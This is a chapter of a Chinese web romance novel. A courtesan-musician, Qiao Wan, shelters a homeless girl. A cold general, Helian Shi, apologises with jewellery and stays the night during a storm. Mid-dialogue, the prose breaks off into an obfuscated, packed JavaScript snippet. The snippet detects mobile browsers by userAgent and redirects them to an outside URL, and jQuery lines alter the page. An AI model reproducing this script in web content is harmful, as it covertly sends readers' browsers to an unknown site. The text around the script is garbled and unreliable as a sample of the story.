乔菀将昼雪带回瑶琴馆时,天已经阴沉沉地塌下来了。
她把今夜自己的晚饭给了昼雪吃。
“不用紧张,我会给你准备两身衣裳,吃完以后你弹首曲子给我听听就好。”乔菀见昼雪有些局促,低声安慰道。
“好!”昼雪扒着碗里的米饭,配着酸涩的泪水,狼吞虎咽起来。
这是她这些日子吃过最好吃的饭。
乔菀盯着她心里划过一丝心疼,从前的她也是这般。
“吃慢点,别噎着。”乔菀给她端了一碗清凉的寒瓜汁。
半碗粉红的寒瓜汁因为放在桌上轻轻晃起来,里面的果肉也飘荡着。
乔菀盯着那碗寒瓜汁,心里五味杂陈。
春夏交替之时,她曾答应赫连时,要为他做寒瓜汁代替茶水,以缓解失眠症。
今日他太唐突,送了这寒瓜汁显得自己赶着上了。
乔菀又想了一会,这得送,赫连时的病好的越快,她就能早日带着赚够的银两离开赫将军府。
深吸一口气,她转头又去瑶琴馆的小厨房里弄了些寒瓜汁在竹筒里,回将军府一趟给赫连时送去。
今夜哄好他就回琴馆。
刚刚走出琴馆,天公不作美,“轰隆”一声落了雨。
乔菀忙回屋内找油纸伞。
夜幕雨帘下,一男子一手撑了把青色油纸伞,一手拿着一个做工精美的木盒子。
赫连时面上冷的可怕,掩盖在夜色里。
他拧巴。
手中的木盒子被捏着紧了又紧,乔菀会喜欢么?
白子期说过女儿家最喜欢这些精致名贵的东西,他便马不停蹄去京城最大的首饰铺子买了。
他是个糙人,不懂得女儿家如何欣赏这些玩意,只知道贵的一定极好。
他包了质量价格最上乘的几件首饰。
赫连时付账时,老板娘一脸嫌弃地调侃他:“公子您这是要买给心上人的吧,怎么脸冷成这样,对女孩子要温柔地多笑笑。”
出铺子时,他努力扯了扯嘴角,试图挤出一个温柔深情的笑。
嘴角僵硬得很。
算了,这种事情。
踏着被雨水浸湿的青石板,穿过交错的街,两盏喜庆的灯笼在夜色中晃动。
快到瑶琴馆了。
乔菀终于在隔间找到了一把油纸伞,擦了擦上面堆着的灰尘,正欲出门,迎面撞上踏着夜色而来的赫连时。
“将军。”乔菀恭恭敬敬拘了一礼。
“我来看看琴馆。”赫连时敛去了眼中的情意。
不能太急,会吓到她的。
“你要去哪?”赫连时盯着乔菀手上的竹筒。
“奴家没去哪。”乔菀被赫连时盯着不自在起来,把装着西瓜汁的竹筒往身后藏了藏。
“嗯。”赫连时又恢复初遇时的模样,冷的多蹦一个字都难。
赫连时怀里揣了书,找了间隔间坐下。
精美的木盒子放在桌上,周身的镶嵌的琉璃在烛光下流光溢彩。
怎么给她?
用什么身份给?
说是赏赐么?太高高在上了。
另一边乔菀微微叹气,沉吟良久,抱着竹筒敲开了隔间的门。
“将军。”
赫连时抬头,见着了明黄衣裳的女子抱着竹筒站在门口,她耳边的珠子轻轻晃着,晃到了他心上。
不等乔菀继续开口,赫连时起身,拿了首饰盒递到乔菀面前。
“白日里是本将军的不对,特此向乔姑娘赔罪。”
盒子被双手捧到乔菀面前,她咽了咽唾沫,没想到高高在上的赫将军会向她一个小女子道歉。
还准备了赔罪礼。
乔菀低着头,赫连时看不清她的表情,心中忐忑不安。
他头一次当面送女子礼物,也是第一次为女子花心思。
怕乔菀不明白,他轻轻打开了盒子。
“将军,太贵重了,奴家不能收。”乔菀忙扣上盒子,努力克制住自己看见这些东西时心中的悸动。
她也是个寻常女子,喜欢金银首饰,喜欢被人在乎。
她怕步步沦陷。
“好。”赫连时口中干涩,心知要尊重乔菀,“那你想要什么别的么?”
“不用,将军的心意奴家收到了。”乔菀抬眼看着赫连时诚恳道。
赫连时最喜欢看她那一双眼睛,明澈又好看。
“那你能原谅我了吗?”赫连时不喜欢隔夜仇,这半天的冷已经让他百爪挠心。
“奴家从未怪罪过将军。”乔菀怎么敢让他求原谅,谁知是不是故意下套。
“那便好。”赫连时松了口气,盯着乔菀手里的竹筒又问,“这是给我的?”
“是,奴家先前答应过将军,给将军弄寒瓜汁代替茶叶。”说着,乔菀掀开了竹盖子,为赫连时倒了一碗寒瓜汁。
“将军尝尝味道如何,若是喜欢,之后入夜渴了就喝这个,别喝茶了,茶对睡眠不好。”乔菀一双嫩如葱根的手按着瓷碗身,递了过去。
她竟还记得和自己说过的话。
“好。”赫连时接过来。
二人指尖不经意触碰。
乔菀不自然咬了下唇。
赫连时眸子微滞,她似乎对和自己接触这件事,很敏感?
“味道甚好,今后劳烦乔姑娘了,月银我会加倍给。”赫连时抿抿唇,清甜的味道在口中绽开。
“是,奴家遵命。”乔菀收了竹筒走了。
室内又只有赫连时一人。
他揉了揉眉心,斜倚在矮榻上。
夜渐渐深下去,赫连时拿了油纸伞打算回将军府。
屋外大雨滂沱,水可以漫过鞋子。
“将军,今夜在琴馆留宿吧。”乔菀温软的声音从身后传来。
“好,雨这么大也只能这样了。”压住眼底的欣喜,他假装勉强地转过身。
琴馆的能睡得房间不多,一共就两间,可眼下琴馆里有三个人。
昼雪,乔菀,还有赫连时。
乔菀带着赫连时上了二楼,推开屋子:“将军,您今夜就在这里暂住。”
“那你呢?”赫连时开口问,
“我和昼雪姑娘一屋。”
“昼雪?”这是赫连时从未听到过的名字。
“她是奴家今日在街上收留的,奴家见她可怜得很,又会些琴艺,便打算让她在琴馆搭个手。”乔菀老实回答道。
“你调查过她的背景了吗?若是她今夜对你不轨呢?”赫连时眼里带了审视的意味,颇有不近人情的意思。
“奴家…
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244379|166328||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
…”乔菀一时语塞。
“明日我会让人去查清楚,若是身份背景没有问题你再用。”
“谢将军。”乔菀拘了一礼。
“作为回报,今夜给本将军弹琴。”赫连时又冷冷地施加命令。
对这女人太软,她要想多了跑,那就冷一些。
见赫连时又恢复一副公事公办的模样,乔菀答应下。
二人合上门,赫连时点了蜡烛。
屋子陈设一切从简,没有屏风,两人之间只隔着薄薄的空气。
赫连时也不拘礼,直接解了腰带脱了外裳。
烛光下,男人身姿挺拔,黑发倾泻在身后,露出壮实的肌肉。
从前隔着道屏风,乔菀不知赫连时睡觉时不穿亵衣,此时直接入眼,不禁红了脸。
赫连时敏锐捕捉到她的羞涩,嘴角微微勾起一丝得逞。
他慢悠悠把衣服披在凳子上,才上了床榻。
乔菀手指捻着琴弦,一颗心乱的不行。
饶是她再自持,也是喜欢赫连时这副身材。
“今夜的音色有些不稳。”赫连时拉了床榻上一层薄纱,声音带了哑意。
“是奴家没弹好。”乔菀恭敬道歉。
“无妨,今夜换了个地方睡,本将军心中实在不适,今夜要劳烦乔姑娘多弹一会了。”赫连时毫无困意,躺在床上一双眸子乌黑透亮。
他有私心,她得多陪自己一会。
“轰隆——”天边又劈下一道惊雷,白光闪烁屋内。
“铮!”乔菀被吓得一惊,手挑空一根琴弦。
“砰砰砰。”窗被疾风吹开,瞬间吹灭了烛光。
屋内陷入一阵黑暗。
乔菀愣在原地不敢动弹,她怕雷雨天,也怕一阵漆黑。
眼里晕了水花,哽咽让她在黑夜里哑了声音。
“乔姑娘?”赫连时边喊着她名字,边起身抓着鞋。
火折子亮起来,赫连时顺着光摸过去,一摸就摸到了乔菀冰凉湿润的脸。
“别怕。”赫连时慌了神。
火折子的光微弱,正好映出二人的脸。
乔菀一双润了梨花的眼搅的赫连时心里软了又软。
良久,乔菀冰冷的手碰到赫连时灼热的体温,才缓过来一些:“将军,奴家怕。”
女子可怜兮兮的声音如同一剂毒药,加重了赫连时的情。
“别怕,我抱你回你屋子。”
“不要,好黑。”乔菀失了神,贪恋着他怀里的暖,手扒拉着他的胸口。
她真的怕极了这样的雷雨天。
“好,那便在我身边。”赫连时温柔地把她抱起来,放在榻上,替她裹紧了被褥。
“啪!”窗被赫连时用力关紧,他用火折子再次点了蜡烛。
这次榻上女子的娇弱一览无遗。
被褥裹在她身上,也显得她分外娇小。
“别怕了。”赫连时跪在床边,轻声安慰着她。
赫连时没想过乔菀这样害怕打雷。
“嗯。”乔菀嗫嚅出声。
“我在这呢。”赫连时轻声哄道,拿了帕子轻轻帮她把泪擦干。
很奇怪,他第一次这样伺候人。
有点上瘾。
他转身又去倒了杯水,吹了吹才递给她。